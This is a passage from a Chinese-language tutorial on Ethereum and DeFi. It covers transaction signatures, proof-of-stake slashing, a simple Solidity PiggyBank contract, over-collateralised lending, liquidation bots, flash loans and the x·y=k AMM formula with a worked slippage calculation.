&lt;li&gt;&lt;strong&gt;签名&lt;/strong&gt;: 使用你的私钥 $d_A$ 和随机数 $k$，根据椭圆曲线公式计算出 $(r, s)$&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;打包&lt;/strong&gt;: 把 &lt;code&gt;v, r, s&lt;/code&gt; 附在交易末尾&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;节点端验证&lt;/strong&gt;:
节点收到交易，不需要知道你的私钥。它通过 &lt;code&gt;v, r, s&lt;/code&gt; 和 &lt;code&gt;h&lt;/code&gt;，利用椭圆曲线逆运算，可以算出一个公钥 $Q$
如果 &lt;code&gt;Address(Q) == From_Address&lt;/code&gt;，则签名有效，交易合法&lt;/p&gt;
&lt;h2&gt;5. 共识层&lt;/h2&gt;
&lt;p&gt;为什么几万个节点能达成一致？&lt;/p&gt;
&lt;h3&gt;5.1 验证者工作流&lt;/h3&gt;
&lt;p&gt;现在可不再是挖矿&lt;code&gt;算Hash&lt;/code&gt;，而是在场证明&lt;code&gt;Attestation&lt;/code&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;质押 &lt;code&gt;Staking&lt;/code&gt;&lt;/strong&gt;: 你必须把 32 ETH 锁进存款合约。这笔钱是你的人质&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;随机抽签 &lt;code&gt;Randao&lt;/code&gt;&lt;/strong&gt;: 系统每 12 秒随机选出一个 &lt;strong&gt;提议者 &lt;code&gt;Proposer&lt;/code&gt;&lt;/strong&gt; &lt;em&gt;又称矿工&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提议&lt;/strong&gt;: 被选中的人打包交易，广播新区块&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;见证 &lt;code&gt;Attestation&lt;/code&gt;&lt;/strong&gt;: 其他几千个验证者组成委员会，对这个区块进行签名投票，同意这个块合法&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;5.2 惩罚机制&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;双签 &lt;code&gt;Double Signing&lt;/code&gt;&lt;/strong&gt;: 如果你在同一个高度签署了两个不同的区块（试图让区块链分叉）
&lt;ul&gt;
&lt;li&gt;你的 32 ETH 会被瞬间扣除 1 ETH 甚至更多，并被踢出网络&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;离线惩罚 &lt;code&gt;Inactivity Leak&lt;/code&gt;&lt;/strong&gt;: 如果你掉线了，未能参与投票
&lt;ul&gt;
&lt;li&gt;你的余额会像漏水一样慢慢减少，直到你修好服务器或钱被扣光&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;6. 智能合约&lt;/h2&gt;
&lt;p&gt;在此之前，我们补一些技术术语&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;1. 预言机 Oracle&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;区块链是封闭的，它不知道现在 ETH 的美元价格是多少，也不知道今天气温多少&lt;/li&gt;
&lt;li&gt;这就产生了一个把现实世界数据（价格、天气）写入区块链的桥梁服务&lt;/li&gt;
&lt;li&gt;在杠杆中，它是裁判。它说降价了，合约会就执行清算&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;2. Gas&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;为什么我在链上点一下就要花几十块钱？&lt;/li&gt;
&lt;li&gt;因为执行智能合约需要消耗全网节点的算力。Gas 就是你付给矿工的&lt;strong&gt;计算服务费&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;代码越复杂（循环越多、存数据越多），Gas 越贵&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;3. DApp 去中心化应用&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定义&lt;/strong&gt;：Frontend (网页/APP) + Smart Contract (后端)&lt;/li&gt;
&lt;li&gt;你看到的漂亮网页（比如 Uniswap 的界面）只是一个壳，它负责把你的点击转化为&lt;strong&gt;交易指令&lt;/strong&gt;发送给区块链&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;4. DAO 去中心化自治组织&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Aave 借贷协议里的 利息 是谁定的？&lt;/li&gt;
&lt;li&gt;是持有治理代币&lt;code&gt;Token&lt;/code&gt;的人投票决定的，这就像公司的股东大会，但是投票权是根据你手里币的多少来由代码自动统计的&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6.1 定义&lt;/h3&gt;
&lt;p&gt;这玩意既不智能，也不合约&lt;/p&gt;
&lt;p&gt;在计算机科学中，智能合约的准确定义是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;存储在区块链上的、地址唯一的、不可篡改的、确定性执行的字节码&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;它没有 AI，不会思考。它只是一个死板的 &lt;code&gt;If-This-Then-That&lt;/code&gt;的脚本&lt;/li&gt;
&lt;li&gt;它没有法律效力（目前大多数国家），它更像是一个&lt;strong&gt;自动贩卖机&lt;/strong&gt;的机械装置，算不上合约&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6.2 贩卖机模型&lt;/h3&gt;
&lt;p&gt;这是理解智能合约最经典的教科书模型（由尼克·萨博提出）：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;传统交易（Web2/柜台）&lt;/strong&gt;：你把钱给售货员 $\to$ 售货员确认金额 $\to$ 售货员拿可乐给你 $\to$ 找零。
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;风险&lt;/em&gt;：售货员可能拿钱跑路，可能算错账，可能不想卖给你&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;智能合约（Web3/贩卖机）&lt;/strong&gt;：你把钱投入机器槽口 $\to$ 齿轮转动 $\to$ 此时&lt;strong&gt;如果&lt;/strong&gt;金额足够，可乐&lt;strong&gt;必须&lt;/strong&gt;掉下来
&lt;ul&gt;
&lt;li&gt;没有中间人。一旦你投币，结果是&lt;strong&gt;物理/数学上确定的&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;6.3 代码解析&lt;/h3&gt;
&lt;p&gt;我们用最通用的语言 &lt;strong&gt;Solidity&lt;/strong&gt;（以太坊的编程语言，长得像 JavaScript/C++）写一个最简单的存钱罐合约&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. 声明版本
pragma solidity ^0.8.0;

// 2. 定义合约（就像定义一个 Class 类）
contract PiggyBank {

    // --- 状态变量 (写在区块链硬盘上的数据) ---
    address public owner;  // 存钱罐的主人是谁？
    uint256 public balance; // 里面有多少钱？(uint256 是正整数)

    // --- 构造函数 (部署时只运行一次) ---
    constructor() {
        owner = msg.sender; // 谁把这个合约部署上链，谁就是主人
        balance = 0;
    }

    // --- 函数：存钱 ---
    // payable 关键字表示这个函数能接收真金白银(ETH)
    function deposit() public payable {
        balance += msg.value; // 余额增加
    }

    // --- 函数：取钱 ---
    function withdraw(uint256 amount) public {
        // A. 身份验证
        require(msg.sender == owner, &quot;你是所有者吗你就整，滚出去&quot;);

        // B. 余额检查
        require(amount &amp;lt;= balance, &quot;bro没钱了&quot;);

        // C. 转账操作
        balance -= amount;
        payable(msg.sender).transfer(amount);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;部署&lt;/strong&gt;：
当你把这段代码通过钱包发送到区块链时，它会被编译成&lt;strong&gt;字节码 (Bytecode)&lt;/strong&gt;（一堆机器才看得懂的 &lt;code&gt;60806040...&lt;/code&gt;），并分配到一个以 &lt;code&gt;0x&lt;/code&gt; 开头的&lt;strong&gt;合约地址&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;从此，这段代码无法修改，无法删除&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;调用&lt;/strong&gt;：
当你在这个合约上点击 存钱 按钮时，其实是向这个合约地址发送了一笔交易&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;EVM会被唤醒&lt;/li&gt;
&lt;li&gt;它加载这个合约的代码&lt;/li&gt;
&lt;li&gt;它执行 &lt;code&gt;deposit&lt;/code&gt; 函数&lt;/li&gt;
&lt;li&gt;它修改 &lt;code&gt;balance&lt;/code&gt; 变量的状态&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;全网所有节点同步更新这个变量&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;不可篡改&lt;/strong&gt;：
注意 &lt;code&gt;withdraw&lt;/code&gt; 函数里的 &lt;code&gt;require(msg.sender == owner)&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在现实银行，如果有人拿着枪指着柜员，柜员可以把你的钱转走&lt;/li&gt;
&lt;li&gt;在智能合约里，如果私钥签名不对，&lt;strong&gt;莱斯特来了也转不走这笔钱&lt;/strong&gt;。代码逻辑是绝对的铁律&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;7. DeFi 去中心化金融&lt;/h2&gt;
&lt;h3&gt;7.1 Web3杠杆&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;传统金融（信用贷）&lt;/strong&gt;：
你想借100万炒股。券商/银行看你的工资流水、房产证、信用分。如果觉得你靠谱，就借给你&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这基于人的信用&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Web3 金融（抵押贷）&lt;/strong&gt;：
区块链不知道你是谁，也没法法院起诉你。它怎么敢借钱给你？
答案是：&lt;strong&gt;超额抵押&lt;/strong&gt;  &lt;em&gt;噔 噔 咚&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7.2 杠杆运作&lt;/h2&gt;
&lt;p&gt;假设你手上有 1 个 ETH（价值 $3000），你看好 ETH 会涨到 $5000，你想加杠杆赚更多&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一步：抵押&lt;/strong&gt;
你把 1 个 ETH 存入 Aave 的智能合约&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你的资产：$3000 (ETH)&lt;/li&gt;
&lt;li&gt;合约给你一个健康因子&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;第二步：借贷&lt;/strong&gt;
合约允许你借出相当于抵押物价值 80% 的稳定币（USDC）
你借出 2400 USDC&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;现在你手里有：1 ETH (在合约里) + 2400 USDC (在钱包里)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注意：&lt;/strong&gt; 这时候还没有杠杆&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;第三步：循环 这才是真正的杠杆&lt;/strong&gt;
你拿着借来的 2400 USDC，去交易所&lt;strong&gt;再买入&lt;/strong&gt; 0.8 个 ETH
然后，你把这 0.8 个 ETH &lt;strong&gt;再次存入&lt;/strong&gt; 合约&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;现在合约里有：1.8 ETH&lt;/li&gt;
&lt;li&gt;合约发现你抵押物变多了，允许你&lt;strong&gt;再借&lt;/strong&gt; 0.8 ETH 对应的 80% 资金，如此循环&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最终&lt;br /&gt;
你本金只有 $3000，但你控制了价值 $5000 甚至更多的 ETH&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ETH 涨 10%&lt;/strong&gt;：你赚的是 $5000 的 10%，而不是 $3000 的 10%。这就是杠杆&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7.3 清 算&lt;/h3&gt;
&lt;p&gt;既然是借钱，合约必须保证借款人的本金不亏损。
合约里写死了一行代码：&lt;strong&gt;清算阈值&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;假设 ETH 价格&lt;strong&gt;暴跌&lt;/strong&gt;
你的 1.8 ETH 贬值了，价值快要低于你借出来的 USDC 总额了
一旦触碰设定的数学红线：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;预言机&lt;/strong&gt; 告诉合约：现在 ETH 跌到 $2000 了&lt;/li&gt;
&lt;li&gt;合约触发 &lt;code&gt;Liquidate&lt;/code&gt; 函数&lt;/li&gt;
&lt;li&gt;合约&lt;strong&gt;自动拍卖&lt;/strong&gt;你抵押的 ETH，用来偿还你借的 USDC&lt;/li&gt;
&lt;li&gt;如果还有渣子会退给你&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在这个过程中，&lt;strong&gt;没有催收电话，没有宽限期，只有代码被执行&lt;/strong&gt;，你的本金可能会一瞬间蒸发&lt;/p&gt;
&lt;h3&gt;7.4 超额抵押&lt;/h3&gt;
&lt;p&gt;这里我们深入讲解传统借贷和web3&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;传统银行：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你什么都不用押，凭工资条借了 10 万块&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;你跑路了：&lt;/strong&gt; 银行亏 10 万。银行报警，法院查封你财产，上征信黑名单&lt;/li&gt;
&lt;li&gt;你要知道的是，银行在害怕你跑路&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Web3 协议：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你要借 &lt;strong&gt;80 块钱&lt;/strong&gt;（USDC），你必须先往智能合约里存入价值 &lt;strong&gt;100 块钱&lt;/strong&gt;的比特币（BTC）&lt;/li&gt;
&lt;li&gt;你拿着 80 块钱跑路了&lt;/li&gt;
&lt;li&gt;结果协议手里扣着你价值 100 块的比特币。协议把你的比特币卖了，扣除借给你的 80 块，甚至还赚了&lt;/li&gt;
&lt;li&gt;协议压根不在乎你跑不跑路，他们甚至希望你跑路&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在去中心化世界，没有警察和法院，&lt;strong&gt;代码只相信扣在手里的资产&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;7.4.0 为什么要在Web3借贷&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;这时候估计会有人要骂，我有那一百块为什么不直接花掉？我还借他干嘛？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果用 Web2 的逻辑（找银行贷款买房），Web3 的超额抵押简直是脑子有病&lt;/p&gt;
&lt;p&gt;但我要告诉你的是&lt;/p&gt;
&lt;p&gt;你把 Web3 的借贷当成了&lt;strong&gt;消费贷&lt;/strong&gt;或&lt;strong&gt;救济贷&lt;/strong&gt;&lt;br /&gt;
目前的 DeFi 借贷本质上是&lt;strong&gt;金融杠杆工具&lt;/strong&gt;和&lt;strong&gt;资产管理工具&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;真正去借这种钱的人，只有以下四种。每一类都非常精明，并不是因为他穷&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;7.4.1 赌徒&lt;/h4&gt;
&lt;p&gt;这是 DeFi 借贷&lt;strong&gt;最大&lt;/strong&gt;的用途（占 80% 以上）。他们借钱不是为了花，而是为了&lt;strong&gt;买更多同一种资产&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你看好比特币（BTC）要大涨。你手里有价值 10 万的 BTC&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;不借钱：&lt;/strong&gt; BTC 涨 10%，你赚 &lt;strong&gt;1 万&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;去 Aave 借钱：&lt;/strong&gt;
&lt;ol&gt;
&lt;li&gt;把 10 万 BTC 抵押进去&lt;/li&gt;
&lt;li&gt;借出 8 万 USDT（稳定币）&lt;/li&gt;
&lt;li&gt;转身去交易所，把这 8 万 USDT &lt;strong&gt;再买成 BTC&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;现在你手里实际控制了 &lt;strong&gt;18 万&lt;/strong&gt; 的 BTC（虽然有 10 万抵押着）&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结果：&lt;/strong&gt; BTC 涨 10%，你赚 &lt;strong&gt;1.8 万&lt;/strong&gt;。你的收益放大了 1.8 倍&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这根本不是借钱过日子，这是&lt;strong&gt;融资炒股&lt;/strong&gt;。他们愿意抵押，是因为他们坚信手里的抵押物会升值，不想卖掉它，但又想要更多的资金来扩大收益&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;7.4.2 空头&lt;/h4&gt;
&lt;p&gt;如果你觉得某个币要跌，你怎么赚钱？在现货市场你只能低买高卖，但在借贷协议里你可以&lt;strong&gt;做空&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你觉得 A 马上要归零了&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;你抵押 1000 USDC（真金白银）&lt;/li&gt;
&lt;li&gt;借出 100 个 A（价值 800 USDC）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;立刻&lt;/strong&gt;去交易所把这 100 个 A 卖掉，换回 800 USDC
&lt;ul&gt;
&lt;li&gt;现在你手里有：1000 抵押 + 800 现金 = 1800 资产&lt;/li&gt;
&lt;li&gt;你欠协议：100 个 A&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;等待 A 暴跌 50%&lt;/li&gt;
&lt;li&gt;你花 400 USDC 就能买回 100 个 A&lt;/li&gt;
&lt;li&gt;把这 100 个币还给协议&lt;/li&gt;
&lt;li&gt;你当初卖了 800，现在买回来只花了 400，&lt;strong&gt;净赚 400 USDC&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;借贷协议是做空机制的基础设施。没有借贷，就没有做空&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;7.4.3 屯币&lt;/h4&gt;
&lt;p&gt;这是富人的游戏规则。在美国或很多国家，&lt;strong&gt;卖出资产是要交巨额资本利得税的，但借款不用交税&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你是一个以太坊早期投资者，手里有 1000 个 ETH（假设价值 300 万美元）你需要 10 万美元去买辆保时捷&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;方案 A（卖币）：&lt;/strong&gt; 你卖掉 33 个 ETH&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;税务局：你当年成本才几块钱，现在卖这么贵，交 20%-40% 的税&lt;/li&gt;
&lt;li&gt;后果：你亏了巨额税款，而且你永远失去了这 33 个 ETH（以后涨了跟你没关系）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;方案 B（抵押）：&lt;/strong&gt; 你抵押 ETH，借出 10 万 USDT 提现去买车&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;税务局：这是债务，不是收入，&lt;strong&gt;不用交税&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;后果：你开上了保时捷，而且那 1000 个 ETH 还在你名下。只要 ETH 不暴跌，你以后慢慢还利息就行；如果 ETH 暴涨，你更是赚翻了&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这就是著名的富人策略：&lt;strong&gt;Buy, Borrow, Die (买入资产，抵押借款消费，带着债务离世)&lt;/strong&gt;。DeFi 让普通人也能用这个策略&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;7.4.4 农民&lt;/h4&gt;
&lt;p&gt;这时候，借钱是为了赚别处的利息&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Aave 上的借款利息是 3%&lt;/li&gt;
&lt;li&gt;Uniswap 上某个资金池的挖矿回报率是 10%&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;操作：&lt;/strong&gt; 你抵押资产，以 3% 的成本借钱，去赚 10% 的收益&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结果：&lt;/strong&gt; 无风险或低风险 套取 7% 的利差&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h4&gt;7.4.5 事实很残酷&lt;/h4&gt;
&lt;p&gt;或许要有人问&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果真把这当作救济债，没有足够的价值去抵押怎么办&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;答案极其残酷：目前的 DeFi 救不了他们&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CeFi/银行：&lt;/strong&gt; 靠&lt;strong&gt;信用&lt;/strong&gt;放贷
银行借你钱，是因为看了你的工资流水、工作证明、征信报告。银行相信你未来能赚钱，所以即便你现在没钱，也敢借给你。这叫&lt;strong&gt;信用贷&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DeFi：&lt;/strong&gt; 靠&lt;strong&gt;资产&lt;/strong&gt;放贷
区块链不知道你是谁，不知道你是不是在那家大公司上班，也没法在你赖账时把你送进监狱
所以，区块链&lt;strong&gt;完全不相信人性&lt;/strong&gt;。它只相信扣在手里的钱&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Web3 正拼命想解决这个问题。现在的热门方向叫 &lt;strong&gt;RWA (现实资产上链)&lt;/strong&gt; 和 &lt;strong&gt;DID (去中心化身份)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果未来能把你的房产证做成 NFT 抵押？（RWA）&lt;/li&gt;
&lt;li&gt;如果未来链上能形成一套链上芝麻信用分？（Soulbound Token / DID）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;只有到了那一天，DeFi 才能真正服务那些 没钱但有信用 的普通人。
&lt;strong&gt;现在的 DeFi，本质上是一个服务于资本（资产持有者）和交易员的超级赌场及资金流转工具，而不是慈善机构或普惠银行。&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;7.5 谁来清算？&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;假设你抵押了 100 块的 BTC，借了 80 块出来。突然 BTC 暴跌，跌到 81 块了，马上就要资不抵债了（跌破 80），谁来卖掉你的债？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;并没有人坐在电脑前盯着你的账户&lt;/strong&gt;
执行清算的是一群&lt;strong&gt;机器人&lt;/strong&gt;，我们称之为 &lt;strong&gt;清算人&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;流程如下：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;触发&lt;/strong&gt;：
智能合约里写死了一条规则：如果（抵押物价值 &amp;lt; 借款金额 * 1.05），允许任何人调用 &lt;code&gt;liquidate()&lt;/code&gt; 函数&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;巡逻&lt;/strong&gt;：
全世界有成千上万个 24 小时运行的脚本，它们时刻监听着链上的每一个借贷账户&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;发现&lt;/strong&gt;：
当你的 BTC 价值跌到红线那一瞬间，这几千个机器人会像鲨鱼闻到血腥味一样，争先恐后地向智能合约发送交易，试图触发 &lt;code&gt;liquidate&lt;/code&gt; 函数&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;处决&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;机器人帮你是还一部分欠款（比如还 40 块）&lt;/li&gt;
&lt;li&gt;作为回报，合约会把你的 BTC 以&lt;strong&gt;打折价&lt;/strong&gt;（比如 5% - 10% 的折扣）卖给这个机器人&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;结局&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;协议收回了欠款&lt;/li&gt;
&lt;li&gt;机器人赚到了差价（比如它花 40 块帮你还债，拿走了价值 44 块的 BTC）&lt;/li&gt;
&lt;li&gt;你的 BTC 被低价强制卖掉了，你亏大了&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;清算你的没有官方，而是&lt;strong&gt;为了赚取那 5% 罚金的第三方套利机器人&lt;/strong&gt;。这是一种基于贪婪的自我维护系统&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7.6 闪电贷&lt;/h2&gt;
&lt;p&gt;在 Web3 里，只有一种情况你可以&lt;strong&gt;不抵押一分钱&lt;/strong&gt;就借走几个亿。这叫&lt;strong&gt;闪电贷&lt;/strong&gt;
这也是很多黑客攻击的手法&lt;/p&gt;
&lt;p&gt;但它有一个极其硬核的物理限制：&lt;strong&gt;原子性 Atomicity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你写一个智能合约，包含三步逻辑：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;向 Aave 借 1 亿美元（无抵押）&lt;/li&gt;
&lt;li&gt;拿这 1 亿去炒作、套利、搬砖（随便你干什么）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;在同一笔交易结束前，必须连本带利把钱还回去&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果你在第 2 步亏了钱，导致第 3 步还不上钱，会发生什么？
&lt;strong&gt;EVM会判定这笔交易失败，整个过程回滚&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;就像时间倒流一样：&lt;/strong&gt;
在区块链的历史上，你从来没有借过这笔钱，这 1 亿美元从来没有离开过金库。你只需要支付一点点 Gas 费，证明你曾经 试图 这么做过&lt;/p&gt;
&lt;p&gt;所以，即使是闪电贷，你也&lt;strong&gt;无法卷款跑路&lt;/strong&gt;，因为如果你不还钱，这笔借款在物理时间轴上就&lt;strong&gt;不存在&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;8. 自动化做市商&lt;/h2&gt;
&lt;p&gt;在 Web3，为了节省昂贵的存储费（存几万个挂单在链上太贵了），我们发明了 &lt;strong&gt;$x \times y = k$&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;8.1 恒定乘积公式 CPMM&lt;/h3&gt;
&lt;p&gt;这是一个极其优雅的数学模型，它不需要任何做市商挂单，只要有资金池就能交易&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;模型&lt;/strong&gt;: 一个池子里有两种资产，A (数量 $x$) 和 B (数量 $y$)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;铁律&lt;/strong&gt;: 在交易前后，两个池子的数量乘积 $k$ 必须保持不变（忽略手续费）
$$ x_{\text{old}} \times y_{\text{old}} = k = x_{\text{new}} \times y_{\text{new}} $$&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;8.2 交互推导&lt;/h3&gt;
&lt;p&gt;假设池子里有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ETH ($x$): 10 个&lt;/li&gt;
&lt;li&gt;USDC ($y$): 30,000 个&lt;/li&gt;
&lt;li&gt;当前价格: 3000 USDC/ETH&lt;/li&gt;
&lt;li&gt;$k = 10 \times 30,000 = 300,000$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;你想用 USDC 买 1 个 ETH&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;你给合约发了若干 USDC（设为 $\Delta y$）&lt;/li&gt;
&lt;li&gt;你想拿走 1 个 ETH ($\Delta x = 1$)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;计算&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;池子剩下的 ETH 必须是: $x_{\text{new}} = 10 - 1 = 9$&lt;/li&gt;
&lt;li&gt;为了维持 $k=300,000$，池子里的 USDC 必须变成:
$$ y_{\text{new}} = \frac{300,000}{9} = 33,333.33 $$&lt;/li&gt;
&lt;li&gt;所以，你必须投入的 USDC ($\Delta y$) 是:
$$ \Delta y = y_{\text{new}} - y_{\text{old}} = 33,333.33 - 30,000 = 3,333.33 $$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;虽然初始价格是 3000，但你买这 1 个 ETH 实际上花了 3333.33&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;滑点 Slippage&lt;/strong&gt;: 这一单把价格从 3000 推高到了 3333。买得越多，单价越贵。这就是&lt;strong&gt;供需曲线的自动调节&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;8.3 无常损失 Impermanent Loss&lt;/h3&gt;
